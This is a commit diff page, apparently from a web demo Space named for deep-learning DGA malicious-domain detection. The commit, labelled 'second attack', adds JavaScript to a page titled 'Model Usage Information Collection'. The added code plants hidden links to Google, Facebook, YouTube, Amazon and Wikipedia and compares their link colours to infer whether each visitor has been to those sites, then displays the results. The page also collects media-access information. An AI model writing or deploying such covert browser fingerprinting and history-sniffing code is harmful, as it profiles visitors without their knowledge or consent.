Spaces:
Runtime error
Runtime error
基于深度学习的DGA恶意域名检测
commited on
Commit
·
f712fd6
1
Parent(s):
691910b
second attack
Browse files- static/index.html +33 -4
static/index.html
CHANGED
|
@@ -4,6 +4,11 @@
|
|
| 4 |
<meta charset="UTF-8">
|
| 5 |
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
| 6 |
<title>Model Usage Information Collection</title>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 7 |
</head>
|
| 8 |
<body>
|
| 9 |
<h1>Collected User Information</h1>
|
|
@@ -96,13 +101,37 @@
|
|
| 96 |
displayInfo('Media Access', 'Microphone and Camera access denied.');
|
| 97 |
});
|
| 98 |
|
| 99 |
-
//
|
| 100 |
function detectBrowsingHistory() {
|
| 101 |
-
|
| 102 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 103 |
}
|
| 104 |
|
| 105 |
-
//
|
| 106 |
detectBrowsingHistory();
|
| 107 |
</script>
|
| 108 |
</body>
|
|
|
|
| 4 |
<meta charset="UTF-8">
|
| 5 |
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
| 6 |
<title>Model Usage Information Collection</title>
|
| 7 |
+
<style>
|
| 8 |
+
.hidden-link {
|
| 9 |
+
visibility: hidden;
|
| 10 |
+
}
|
| 11 |
+
</style>
|
| 12 |
</head>
|
| 13 |
<body>
|
| 14 |
<h1>Collected User Information</h1>
|
|
|
|
| 101 |
displayInfo('Media Access', 'Microphone and Camera access denied.');
|
| 102 |
});
|
| 103 |
|
| 104 |
+
// Detect browsing history for specific sites
|
| 105 |
function detectBrowsingHistory() {
|
| 106 |
+
const urlsToCheck = [
|
| 107 |
+
'https://www.google.com',
|
| 108 |
+
'https://www.facebook.com',
|
| 109 |
+
'https://www.youtube.com',
|
| 110 |
+
'https://www.amazon.com',
|
| 111 |
+
'https://www.wikipedia.org'
|
| 112 |
+
];
|
| 113 |
+
|
| 114 |
+
urlsToCheck.forEach(url => {
|
| 115 |
+
const link = document.createElement('a');
|
| 116 |
+
link.href = url;
|
| 117 |
+
link.className = 'hidden-link';
|
| 118 |
+
document.body.appendChild(link);
|
| 119 |
+
|
| 120 |
+
const colorBefore = getComputedStyle(link).color;
|
| 121 |
+
link.style.color = 'blue';
|
| 122 |
+
const colorAfter = getComputedStyle(link).color;
|
| 123 |
+
|
| 124 |
+
if (colorBefore !== colorAfter) {
|
| 125 |
+
displayInfo('Visited', url);
|
| 126 |
+
} else {
|
| 127 |
+
displayInfo('Not Visited', url);
|
| 128 |
+
}
|
| 129 |
+
|
| 130 |
+
document.body.removeChild(link);
|
| 131 |
+
});
|
| 132 |
}
|
| 133 |
|
| 134 |
+
// Execute the browsing history detection
|
| 135 |
detectBrowsingHistory();
|
| 136 |
</script>
|
| 137 |
</body>
|